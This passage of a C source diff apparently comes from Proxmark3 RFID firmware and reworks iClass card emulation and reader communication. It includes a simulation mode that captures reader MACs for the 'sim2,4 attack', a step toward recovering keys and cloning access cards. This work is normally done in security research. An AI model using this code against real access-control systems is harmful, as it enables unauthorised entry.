EPURSE_MAC_SIZE + 8 < USB_CMD_DATA_SIZE; i++) { + + memcpy(emulator, datain + (i*8), 8); + + // keyroll 1 + if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses + i * EPURSE_MAC_SIZE )) { + cmd_send(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i*2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2); + // Button pressed + goto out; + } + + // keyroll 2 + if (doIClassSimulation(MODE_EXIT_AFTER_MAC, mac_responses + (i + numberOfCSNS) * EPURSE_MAC_SIZE )) { + cmd_send(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i*2, 0, mac_responses, i * EPURSE_MAC_SIZE* 2); + // Button pressed + goto out; + } + } + // double the amount of collected data. + cmd_send(CMD_ACK, CMD_SIMULATE_TAG_ICLASS, i*2, 0, mac_responses, i * EPURSE_MAC_SIZE * 2 ); + + } else { // We may want a mode here where we hardcode the csns to use (from proxclone). // That will speed things up a little, but not required just yet. - Dbprintf("The mode is not implemented, reserved for future use"); + DbpString("[-] the mode is not implemented, reserved for future use"); } - Dbprintf("Done..."); +out: + switch_off(); + BigBuf_free_keep_EM(); } + /** * @brief Does the actual simulation * @param csn - csn to use * @param breakAfterMacReceived if true, returns after reader MAC has been received. */ -int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader_mac_buf) -{ +int doIClassSimulation( int simulationMode, uint8_t *reader_mac_buf) { + // free eventually allocated BigBuf memory + BigBuf_free_keep_EM(); + + State cipher_state; + uint8_t *csn = BigBuf_get_EM_addr(); + uint8_t *emulator = csn; + uint8_t sof_data[] = { 0x0F} ; + // CSN followed by two CRC bytes - uint8_t response2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t response3[] = { 0,0,0,0,0,0,0,0,0,0}; - memcpy(response3,csn,sizeof(response3)); - Dbprintf("Simulating CSN %02x%02x%02x%02x%02x%02x%02x%02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]); - // e-Purse - uint8_t response4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t anticoll_data[10] = { 0 }; + uint8_t csn_data[10] = { 0 }; + memcpy(csn_data, csn, sizeof(csn_data)); // Construct anticollision-CSN - rotateCSN(response3,response2); + rotateCSN(csn_data, anticoll_data); // Compute CRC on both CSNs - ComputeCrc14443(CRC_ICLASS, response2, 8, &response2[8], &response2[9]); - ComputeCrc14443(CRC_ICLASS, response3, 8, &response3[8], &response3[9]); + AddCrc(anticoll_data, 8); + AddCrc(csn_data, 8); + + uint8_t diversified_key[8] = { 0 }; + // e-Purse + uint8_t card_challenge_data[8] = { 0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff }; + //uint8_t card_challenge_data[8] = { 0 }; + if (simulationMode == MODE_FULLSIM) { + //The diversified key should be stored on block 3 + //Get the diversified key from emulator memory + memcpy(diversified_key, emulator+(8*3),8); + //Card challenge, a.k.a e-purse is on block 2 + memcpy(card_challenge_data, emulator + (8 * 2) ,8); + //Precalculate the cipher state, feeding it the CC + cipher_state = opt_doTagMAC_1(card_challenge_data, diversified_key); + } + // set epurse of sim2,4 attack + if (reader_mac_buf != NULL) { + memcpy(reader_mac_buf, card_challenge_data, 8); + } + int exitLoop = 0; // Reader 0a // Tag 0f @@ -1050,234 +1283,327 @@ int doIClassSimulation(uint8_t csn[], int breakAfterMacReceived, uint8_t *reader // Reader 81 anticoll. CSN // Tag CSN - uint8_t *resp; - int respLen; - uint8_t* respdata = NULL; - int respsize = 0; - uint8_t sof = 0x0f; + uint8_t *modulated_response; + int modulated_response_size = 0; + uint8_t* trace_data = NULL; + int trace_data_size = 0; - // Respond SOF -- takes 8 bytes - uint8_t *resp1 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); - int resp1Len; + // Respond SOF -- takes 1 bytes + uint8_t *resp_sof = BigBuf_malloc(2); + int resp_sof_Len; // Anticollision CSN (rotated CSN) - // 176: Takes 16 bytes for SOF/EOF and 10 * 16 = 160 bytes (2 bytes/bit) - uint8_t *resp2 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + 10); - int resp2Len; + // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) + uint8_t *resp_anticoll = BigBuf_malloc(28); + int resp_anticoll_len; // CSN - // 176: Takes 16 bytes for SOF/EOF and 10 * 16 = 160 bytes (2 bytes/bit) - uint8_t *resp3 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + 190); - int resp3Len; + // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) + uint8_t *resp_csn = BigBuf_malloc(28); + int resp_csn_len; + // configuration picopass 2ks + uint8_t *resp_conf = BigBuf_malloc(28); + int resp_conf_len; + uint8_t conf_data[10] = {0x12,0xFF,0xFF,0xFF,0x7F,0x1F,0xFF,0x3C,0x00,0x00}; + AddCrc(conf_data, 8); + // e-Purse - // 144: Takes 16 bytes for SOF/EOF and 8 * 16 = 128 bytes (2 bytes/bit) - uint8_t *resp4 = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET + 370); - int resp4Len; + // 18: Takes 2 bytes for SOF/EOF and 8 * 2 = 16 bytes (2 bytes/bit) + uint8_t *resp_cc = BigBuf_malloc(28); + int resp_cc_len; - // + 1720.. - uint8_t *receivedCmd = (((uint8_t *)BigBuf) + RECV_CMD_OFFSET); - memset(receivedCmd, 0x44, RECV_CMD_SIZE); - int len; + // Application Issuer Area + uint8_t *resp_aia = BigBuf_malloc(28); + int resp_aia_len; + uint8_t aia_data[10] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00}; + AddCrc(aia_data, 8); + + // receive command + uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + int len = 0; // Prepare card messages ToSendMax = 0; // First card answer: SOF CodeIClassTagSOF(); - memcpy(resp1, ToSend, ToSendMax); resp1Len = ToSendMax; - + memcpy(resp_sof, ToSend, ToSendMax); resp_sof_Len = ToSendMax; + // Anticollision CSN - CodeIClassTagAnswer(response2, sizeof(response2)); - memcpy(resp2, ToSend, ToSendMax); resp2Len = ToSendMax; - + CodeIClassTagAnswer(anticoll_data, sizeof(anticoll_data)); + memcpy(resp_anticoll, ToSend, ToSendMax); resp_anticoll_len = ToSendMax; + // CSN - CodeIClassTagAnswer(response3, sizeof(response3)); - memcpy(resp3, ToSend, ToSendMax); resp3Len = ToSendMax; + CodeIClassTagAnswer(csn_data, sizeof(csn_data)); + memcpy(resp_csn, ToSend, ToSendMax); resp_csn_len = ToSendMax; + // Configuration + CodeIClassTagAnswer(conf_data, sizeof(conf_data)); + memcpy(resp_conf, ToSend, ToSendMax); resp_conf_len = ToSendMax; + // e-Purse - CodeIClassTagAnswer(response4, sizeof(response4)); - memcpy(resp4, ToSend, ToSendMax); resp4Len = ToSendMax; + CodeIClassTagAnswer(card_challenge_data, sizeof(card_challenge_data)); + memcpy(resp_cc, ToSend, ToSendMax); resp_cc_len = ToSendMax; + // Application Issuer Area + CodeIClassTagAnswer(aia_data, sizeof(aia_data)); + memcpy(resp_aia, ToSend, ToSendMax); resp_aia_len = ToSendMax; + + //This is used for responding to READ-block commands or other data which is dynamically generated + //First the 'trace'-data, not encoded for FPGA + uint8_t *data_generic_trace = BigBuf_malloc(8 + 2);//8 bytes data + 2byte CRC is max tag answer + + //Then storage for the modulated data + //Each bit is doubled when modulated for FPGA, and we also have SOF and EOF (2 bytes) + uint8_t *data_response = BigBuf_malloc( (8+2) * 2 + 2); - // Start from off (no field generated) - //FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - //SpinDelay(200); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); SpinDelay(100); StartCountSspClk(); - // We need to listen to the high-frequency, peak-detected path. - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); // To control where we are in the protocol - int cmdsRecvd = 0; uint32_t time_0 = GetCountSspClk(); - uint32_t t2r_time =0; - uint32_t r2t_time =0; + uint32_t t2r_stime = 0, t2r_etime = 0; + uint32_t r2t_stime = 0, r2t_etime = 0; LED_A_ON(); bool buttonPressed = false; - /** Hack for testing - memcpy(reader_mac_buf,csn,8); - exitLoop = true; - end hack **/ + while (!exitLoop) { + WDT_HIT(); - while(!exitLoop) { - - LED_B_OFF(); - //Signal tracer - // Can be used to get a trigger for an oscilloscope.. - LED_C_OFF(); - - if(!GetIClassCommandFromReader(receivedCmd, &len, 100)) { + //Signal tracer, can be used to get a trigger for an oscilloscope.. + LED_B_OFF(); LED_C_OFF(); + + r2t_stime = (GetCountSspClk() - time_0) << 4; + if (!GetIClassCommandFromReader(receivedCmd, &len, 0)) { buttonPressed = true; - break; + exitLoop = true; + continue; } - r2t_time = GetCountSspClk(); - //Signal tracer - LED_C_ON(); + r2t_etime = ((GetCountSspClk() - time_0) << 4 ) - r2t_stime; + + // 330us normal wait, adjusted for our execution - // Okay, look at the command now. - if(receivedCmd[0] == 0x0a ) { + LED_C_ON(); //Signal tracer + + if (receivedCmd[0] == ICLASS_CMD_ACTALL ) { // 0x0A // Reader in anticollission phase - resp = resp1; respLen = resp1Len; //order = 1; - respdata = &sof; - respsize = sizeof(sof); - } else if(receivedCmd[0] == 0x0c) { - // Reader asks for anticollission CSN - resp = resp2; respLen = resp2Len; //order = 2; - respdata = response2; - respsize = sizeof(response2); - //DbpString("Reader requests anticollission CSN:"); - } else if(receivedCmd[0] == 0x81) { + modulated_response = resp_sof; modulated_response_size = resp_sof_Len; //order = 1; + trace_data = sof_data; + trace_data_size = sizeof(sof_data); + // adjusted for 330 + (160*num of slot) + goto send; + } else if (receivedCmd[0] == ICLASS_CMD_READ_OR_IDENTIFY) { // 0x0C + if (len == 1) { + // Reader asks for anticollission CSN + modulated_response = resp_anticoll; modulated_response_size = resp_anticoll_len; //order = 2; + trace_data = anticoll_data; + trace_data_size = sizeof(anticoll_data); + goto send; + } + if (len == 4){ + // block0,1,2,5 is always readable. + switch (receivedCmd[1]){ + case 0: // csn (0c 00) + modulated_response = resp_csn; modulated_response_size = resp_csn_len; + trace_data = csn_data; + trace_data_size = sizeof(csn_data); + break; + case 1: // configuration (0c 01) + modulated_response = resp_conf; modulated_response_size = resp_conf_len; + trace_data = conf_data; + trace_data_size = sizeof(conf_data); + break; + case 2: // e-purse (0c 02) + modulated_response = resp_cc; modulated_response_size = resp_cc_len; + trace_data = card_challenge_data; + trace_data_size = sizeof(card_challenge_data); + // set epurse of sim2,4 attack + if (reader_mac_buf != NULL) { + memcpy(reader_mac_buf, card_challenge_data, 8); + } + break; + case 5:// Application Issuer Area (0c 05) + modulated_response = resp_aia; modulated_response_size = resp_aia_len; + trace_data = aia_data; + trace_data_size = sizeof(aia_data); + break; + default: break; + } + goto send; + } + + } else if (receivedCmd[0] == ICLASS_CMD_SELECT) { // 0x81 // Reader selects anticollission CSN. // Tag sends the corresponding real CSN - resp = resp3; respLen = resp3Len; //order = 3; - respdata = response3; - respsize = sizeof(response3); - //DbpString("Reader selects anticollission CSN:"); - } else if(receivedCmd[0] == 0x88) { + modulated_response = resp_csn; modulated_response_size = resp_csn_len; //order = 3; + trace_data = csn_data; + trace_data_size = sizeof(csn_data); + goto send; + } else if (receivedCmd[0] == ICLASS_CMD_READCHECK_KD) { // 0x88 // Read e-purse (88 02) - resp = resp4; respLen = resp4Len; //order = 4; - respdata = response4; - respsize = sizeof(response4); + modulated_response = resp_cc; modulated_response_size = resp_cc_len; //order = 4; + trace_data = card_challenge_data; + trace_data_size = sizeof(card_challenge_data); LED_B_ON(); - } else if(receivedCmd[0] == 0x05) { + goto send; + } else if (receivedCmd[0] == ICLASS_CMD_READCHECK_KC) { // 0x18 + // Read e-purse (18 02) + modulated_response = resp_cc; modulated_response_size = resp_cc_len; //order = 4; + trace_data = card_challenge_data; + trace_data_size = sizeof(card_challenge_data); + LED_B_ON(); + goto send; + } else if (receivedCmd[0] == ICLASS_CMD_CHECK) { // 0x05 // Reader random and reader MAC!!! - // Do not respond - // We do not know what to answer, so lets keep quit - resp = resp1; respLen = 0; //order = 5; - respdata = NULL; - respsize = 0; - if (breakAfterMacReceived){ - // TODO, actually return this to the caller instead of just - // dbprintf:ing ... - Dbprintf("CSN: %02x %02x %02x %02x %02x %02x %02x %02x",csn[0],csn[1],csn[2],csn[3],csn[4],csn[5],csn[6],csn[7]); - Dbprintf("RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x",len, - receivedCmd[0], receivedCmd[1], receivedCmd[2], - receivedCmd[3], receivedCmd[4], receivedCmd[5], - receivedCmd[6], receivedCmd[7], receivedCmd[8]); - if (reader_mac_buf != NULL) - { - memcpy(reader_mac_buf,receivedCmd+1,8); + if (simulationMode == MODE_FULLSIM) { + // NR, from reader, is in receivedCmd +1 + opt_doTagMAC_2(cipher_state, receivedCmd+1, data_generic_trace, diversified_key); + + trace_data = data_generic_trace; + trace_data_size = 4; + CodeIClassTagAnswer(trace_data , trace_data_size); + memcpy(data_response, ToSend, ToSendMax); + modulated_response = data_response; + modulated_response_size = ToSendMax; + } else { + // Not fullsim, we don't respond + // We do not know what to answer, so lets keep quiet + modulated_response = resp_sof; modulated_response_size = 0; + trace_data = NULL; + trace_data_size = 0; + + if (simulationMode == MODE_EXIT_AFTER_MAC) { + + if ( MF_DBGLEVEL == MF_DBG_EXTENDED) { + Dbprintf("[+] CSN: %02x %02x %02x %02x %02x %02x %02x %02x", csn[0], csn[1], csn[2], csn[3], csn[4], csn[5], csn[6], csn[7]); + Dbprintf("[+] RDR: (len=%02d): %02x %02x %02x %02x %02x %02x %02x %02x %02x", len, + receivedCmd[0], receivedCmd[1], receivedCmd[2], + receivedCmd[3], receivedCmd[4], receivedCmd[5], + receivedCmd[6], receivedCmd[7], receivedCmd[8]); + } else { + Dbprintf("[+] CSN: %02x .... %02x OK", csn[0], csn[7]); + } + if (reader_mac_buf != NULL) { + memcpy(reader_mac_buf + 8, receivedCmd+1, 8); + } + exitLoop = true; } - exitLoop = true; } - } else if(receivedCmd[0] == 0x00 && len == 1) { + goto send; + } else if (receivedCmd[0] == ICLASS_CMD_HALT && len == 1) { // Reader ends the session - resp = resp1; respLen = 0; //order = 0; - respdata = NULL; - respsize = 0; + modulated_response = resp_sof; modulated_response_size = 0; //order = 0; + trace_data = NULL; + trace_data_size = 0; + goto send; + } else if (simulationMode == MODE_FULLSIM && receivedCmd[0] == ICLASS_CMD_READ_OR_IDENTIFY && len == 4){ // 0x0C + //Read block + uint16_t blk = receivedCmd[1]; + //Take the data... + memcpy(data_generic_trace, emulator+(blk << 3),8); + AddCrc(data_generic_trace, 8); + trace_data = data_generic_trace; + trace_data_size = 10; + CodeIClassTagAnswer(trace_data , trace_data_size); + memcpy(data_response, ToSend, ToSendMax); + modulated_response = data_response; + modulated_response_size = ToSendMax; + goto send; + } else if (simulationMode == MODE_FULLSIM && receivedCmd[0] == ICLASS_CMD_UPDATE) { + + //Probably the reader wants to update the nonce. Let's just ignore that for now. + // OBS! If this is implemented, don't forget to regenerate the cipher_state + //We're expected to respond with the data+crc, exactly what's already in the receivedcmd + //receivedcmd is now UPDATE 1b | ADDRESS 1b| DATA 8b| Signature 4b or CRC 2b| + + //Take the data... + memcpy(data_generic_trace, receivedCmd+2, 8); + AddCrc(data_generic_trace, 8); + trace_data = data_generic_trace; + trace_data_size = 10; + CodeIClassTagAnswer(trace_data, trace_data_size); + + memcpy(data_response, ToSend, ToSendMax); + modulated_response = data_response; + modulated_response_size = ToSendMax; +// response_delay = 4600 * 1.5; // tPROG 4-15ms + goto send; +// } else if(receivedCmd[0] == ICLASS_CMD_PAGESEL) { // 0x84 + //Pagesel + //Pagesel enables to select a page in the selected chip memory and return its configuration block + //Chips with a single page will not answer to this command + // It appears we're fine ignoring this. + //Otherwise, we should answer 8bytes (block) + 2bytes CRC +// } else if(receivedCmd[0] == ICLASS_CMD_DETECT) { // 0x0F } else { //#db# Unknown command received from reader (len=5): 26 1 0 f6 a 44 44 44 44 // Never seen this command before - Dbprintf("Unknown command received from reader (len=%d): %x %x %x %x %x %x %x %x %x", - len, - receivedCmd[0], receivedCmd[1], receivedCmd[2], - receivedCmd[3], receivedCmd[4], receivedCmd[5], - receivedCmd[6], receivedCmd[7], receivedCmd[8]); + if ( MF_DBGLEVEL == MF_DBG_EXTENDED) + print_result("[-] Unhandled command received ", receivedCmd, len); + // Do not respond - resp = resp1; respLen = 0; //order = 0; - respdata = NULL; - respsize = 0; + modulated_response = resp_sof; + modulated_response_size = 0; //order = 0; + trace_data = NULL; + trace_data_size = 0; } - if(cmdsRecvd > 100) { - //DbpString("100 commands later..."); - //break; - } - else { - cmdsRecvd++; +send: + /** + A legit tag has about 330us delay between reader EOT and tag SOF. + **/ + if (modulated_response_size > 0) { + t2r_stime = (GetCountSspClk() - time_0) << 4; + SendIClassAnswer(modulated_response, modulated_response_size, 0); + t2r_etime = ((GetCountSspClk() - time_0) << 4 ) - t2r_stime; } - if(respLen > 0) { - SendIClassAnswer(resp, respLen, 21); - t2r_time = GetCountSspClk(); - } - - if (tracing) { - LogTrace(receivedCmd,len, (r2t_time-time_0)<< 4, Uart.parityBits,TRUE); - LogTrace(NULL,0, (r2t_time-time_0) << 4, 0,TRUE); - - if (respdata != NULL) { - LogTrace(respdata,respsize, (t2r_time-time_0) << 4,SwapBits(GetParity(respdata,respsize),respsize),FALSE); - LogTrace(NULL,0, (t2r_time-time_0) << 4,0,FALSE); - - - } - if(!tracing) { - DbpString("Trace full"); - //break; - } - - } - memset(receivedCmd, 0x44, RECV_CMD_SIZE); + LogTrace(receivedCmd, len, r2t_stime, r2t_etime, NULL, true); + + if (trace_data != NULL) + LogTrace(trace_data, trace_data_size, t2r_stime, t2r_etime, NULL, false); } - //Dbprintf("%x", cmdsRecvd); - LED_A_OFF(); - LED_B_OFF(); - if(buttonPressed) - { - DbpString("Button pressed"); - } + LEDsoff(); + + if (buttonPressed) + DbpString("[+] button pressed"); + return buttonPressed; } -static int SendIClassAnswer(uint8_t *resp, int respLen, int delay) -{ - int i = 0, d=0;//, u = 0, d = 0; - uint8_t b = 0; - - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR|FPGA_HF_SIMULATOR_MODULATE_424K); +/** + * @brief sends our simulated tag answer + * @param resp + * @param respLen + * @param delay + */ +static int SendIClassAnswer(uint8_t *resp, int respLen, uint16_t delay) { + int i = 0; + volatile uint8_t b = 0; + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_424K_8BIT); AT91C_BASE_SSC->SSC_THR = 0x00; - FpgaSetupSsc(); - while(!BUTTON_PRESS()) { - if((AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)){ + while (!BUTTON_PRESS()) { + if ( (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)){ b = AT91C_BASE_SSC->SSC_RHR; (void) b; } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)){ + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)){ b = 0x00; - if(d < delay) { - d++; - } - else { - if( i < respLen){ - b = resp[i]; - //Hack - //b = 0xAC; - } - i++; + if ( i < respLen){ + b = resp[i]; + //Hack + //b = 0xAC; } + i++; AT91C_BASE_SSC->SSC_THR = b; } - - if (i > respLen +4) break; +// if (i > respLen + 4) break; + if (i > respLen + 1) break; } - return 0; } @@ -1286,122 +1612,114 @@ static int SendIClassAnswer(uint8_t *resp, int respLen, int delay) //----------------------------------------------------------------------------- // Transmit the command (to the tag) that was placed in ToSend[]. //----------------------------------------------------------------------------- -static void TransmitIClassCommand(const uint8_t *cmd, int len, int *samples, int *wait) -{ - int c; - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - AT91C_BASE_SSC->SSC_THR = 0x00; - FpgaSetupSsc(); +static void TransmitIClassCommand(const uint8_t *cmd, int len, int *samples, int *wait) { - if (wait) - if(*wait < 10) - *wait = 10; + int c = 0; + volatile uint32_t b; + bool firstpart = true; + uint8_t sendbyte; - for(c = 0; c < *wait;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! - c++; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + AT91C_BASE_SSC->SSC_THR = 0x00; + + // make sure we timeout previous comms. + if ( *wait ) + SpinDelayUs(*wait); - uint8_t sendbyte; - bool firstpart = TRUE; - c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + for (;;) { - // DOUBLE THE SAMPLES! - if(firstpart) { - sendbyte = (cmd[c] & 0xf0) | (cmd[c] >> 4); - } - else { - sendbyte = (cmd[c] & 0x0f) | (cmd[c] << 4); - c++; - } - if(sendbyte == 0xff) { - sendbyte = 0xfe; - } - AT91C_BASE_SSC->SSC_THR = sendbyte; - firstpart = !firstpart; + WDT_HIT(); - if(c >= len) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; - } - WDT_HIT(); - } - if (samples) *samples = (c + *wait) << 3; + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + + // DOUBLE THE SAMPLES! + if (firstpart) { + sendbyte = (cmd[c] & 0xf0) | (cmd[c] >> 4); + } else { + sendbyte = (cmd[c] & 0x0f) | (cmd[c] << 4); + c++; + } + + if (sendbyte == 0xff) + sendbyte = 0xfe; + + AT91C_BASE_SSC->SSC_THR = sendbyte; + firstpart = !firstpart; + + if (c >= len) break; + } + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = AT91C_BASE_SSC->SSC_RHR; (void)b; + } + } + + if (samples) { + if (wait) + *samples = (c + *wait) << 3; + else + *samples = c << 3; + } } - //----------------------------------------------------------------------------- // Prepare iClass reader command to send to FPGA //----------------------------------------------------------------------------- -void CodeIClassCommand(const uint8_t * cmd, int len) -{ - int i, j, k; - uint8_t b; +void CodeIClassCommand(const uint8_t* cmd, int len) { + int i, j, k; + uint8_t b; - ToSendReset(); + ToSendReset(); - // Start of Communication: 1 out of 4 - ToSend[++ToSendMax] = 0xf0; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x0f; - ToSend[++ToSendMax] = 0x00; + // (SOC) Start of Communication: 1 out of 4 + ToSend[++ToSendMax] = 0xf0; + ToSend[++ToSendMax] = 0x00; + ToSend[++ToSendMax] = 0x0f; + ToSend[++ToSendMax] = 0x00; - // Modulate the bytes - for (i = 0; i < len; i++) { - b = cmd[i]; - for(j = 0; j < 4; j++) { - for(k = 0; k < 4; k++) { - if(k == (b & 3)) { - ToSend[++ToSendMax] = 0x0f; + // Modulate the bytes + for (i = 0; i < len; i++) { + b = cmd[i]; + for (j = 0; j < 4; j++) { + for (k = 0; k < 4; k++) { + + if (k == (b & 3)) + ToSend[++ToSendMax] = 0xf0; + else + ToSend[++ToSendMax] = 0x00; } - else { - ToSend[++ToSendMax] = 0x00; - } - } - b >>= 2; - } - } + b >>= 2; + } + } - // End of Communication - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0x00; - ToSend[++ToSendMax] = 0xf0; - ToSend[++ToSendMax] = 0x00; + // (EOC) End of Communication + ToSend[++ToSendMax] = 0x00; + ToSend[++ToSendMax] = 0x00; + ToSend[++ToSendMax] = 0xf0; + ToSend[++ToSendMax] = 0x00; - // Convert from last character reference to length - ToSendMax++; + // Convert from last character reference to length + ToSendMax++; } -void ReaderTransmitIClass(uint8_t* frame, int len) -{ - int wait = 0; - int samples = 0; - int par = 0; +void ReaderTransmitIClass_ext(uint8_t* frame, int len, int wait) { - // This is tied to other size changes - // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024; - CodeIClassCommand(frame,len); + int samples = 0; - // Select the card - TransmitIClassCommand(ToSend, ToSendMax, &samples, &wait); - if(trigger) - LED_A_ON(); + // This is tied to other size changes + CodeIClassCommand(frame, len); - // Store reader command in buffer - if (tracing) LogTrace(frame,len,rsamples,par,TRUE); + // Select the card + TransmitIClassCommand(ToSend, ToSendMax, &samples, &wait); + if (trigger) + LED_A_ON(); + + rsamples += samples; + + LogTrace(frame, len, rsamples, rsamples, NULL, true); +} +void ReaderTransmitIClass(uint8_t* frame, int len) { + ReaderTransmitIClass_ext(frame, len, 330); } //----------------------------------------------------------------------------- @@ -1409,125 +1727,680 @@ void ReaderTransmitIClass(uint8_t* frame, int len) // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -static int GetIClassAnswer(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) //uint8_t *buffer -{ +static int GetIClassAnswer(uint8_t* receivedResponse, int maxLen, int *samples, int *elapsed) { // buffer needs to be 512 bytes - int c; + // maxLen is not used... + + int c = 0; + bool skip = false; + + // Setup UART/DEMOD to receive + DemodInit(receivedResponse); + + if (elapsed) *elapsed = 0; // Set FPGA mode to "reader listen mode", no modulation (listen // only, since we are receiving, not transmitting). FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); + SpinDelayUs(320); //310 Tout= 330us (iso15603-2) (330/21.3) take consideration for clock increments. - // Now get the answer from the card - Demod.output = receivedResponse; - Demod.len = 0; - Demod.state = DEMOD_UNSYNCD; + // clear RXRDY: + uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - uint8_t b; - if (elapsed) *elapsed = 0; - - bool skip = FALSE; - - c = 0; - for(;;) { + while (!BUTTON_PRESS()) { WDT_HIT(); - if(BUTTON_PRESS()) return FALSE; - - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!! + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; + // To make use of exact timing of next command from reader!! if (elapsed) (*elapsed)++; } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - if(c < timeout) { c++; } else { return FALSE; } + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + if (c >= timeout) return false; + + c++; + b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - skip = !skip; - if(skip) continue; - /*if(ManchesterDecoding((b>>4) & 0xf)) { - *samples = ((c - 1) << 3) + 4; - return TRUE; - }*/ - if(ManchesterDecoding(b & 0x0f)) { - *samples = c << 3; - return TRUE; + + skip = !skip; + if (skip) continue; + + if (ManchesterDecoding_iclass(b & 0x0f)) { + if (samples) + *samples = c << 3; + return true; } } } + return false; } -int ReaderReceiveIClass(uint8_t* receivedAnswer) -{ - int samples = 0; - if (!GetIClassAnswer(receivedAnswer,160,&samples,0)) return FALSE; - rsamples += samples; - if (tracing) LogTrace(receivedAnswer,Demod.len,rsamples,Demod.parityBits,FALSE); - if(samples == 0) return FALSE; - return Demod.len; +int ReaderReceiveIClass(uint8_t* receivedAnswer) { + int samples = 0; + + if (!GetIClassAnswer(receivedAnswer, 0, &samples, NULL)) + return false; + + rsamples += samples; + + LogTrace(receivedAnswer, Demod.len, rsamples, rsamples, NULL, false); + + if (samples == 0) + return false; + + return Demod.len; +} + +void setupIclassReader() { + + LEDsoff(); + + // Start from off (no field generated) + // Signal field is off with the appropriate LED + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + FpgaSetupSsc(); + + // Reset trace buffer + clear_trace(); + set_tracing(true); + + // Now give it time to spin up. + // Signal field is on with the appropriate LED + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + SpinDelay(300); + + // Start the timer + StartCountSspClk(); + + LED_A_ON(); +} + +bool sendCmdGetResponseWithRetries(uint8_t* command, size_t cmdsize, uint8_t* resp, uint8_t expected_size, uint8_t retries) { + uint8_t got_n = 0; + while (retries-- > 0) { + + ReaderTransmitIClass(command, cmdsize); + + //iceman - if received size is bigger than expected, we smash the stack here + // since its called with fixed sized arrays + got_n = ReaderReceiveIClass(resp); + + // 0xBB is the internal debug separator byte.. + if ( expected_size != got_n|| (resp[0] == 0xBB || resp[7] == 0xBB || resp[2] == 0xBB)) { + //try again + continue; + } + + if (got_n == expected_size) + return true; + } + return false; +} + +/** + * @brief Talks to an iclass tag, sends the commands to get CSN and CC. + * @param card_data where the CSN and CC are stored for return + * @return 0 = fail + * 1 = Got CSN + * 2 = Got CSN and CC + */ +uint8_t handshakeIclassTag_ext(uint8_t *card_data, bool use_credit_key) { + + // act_all... + static uint8_t act_all[] = { ICLASS_CMD_ACTALL }; + static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x00, 0x73, 0x33 }; + static uint8_t select[] = { ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 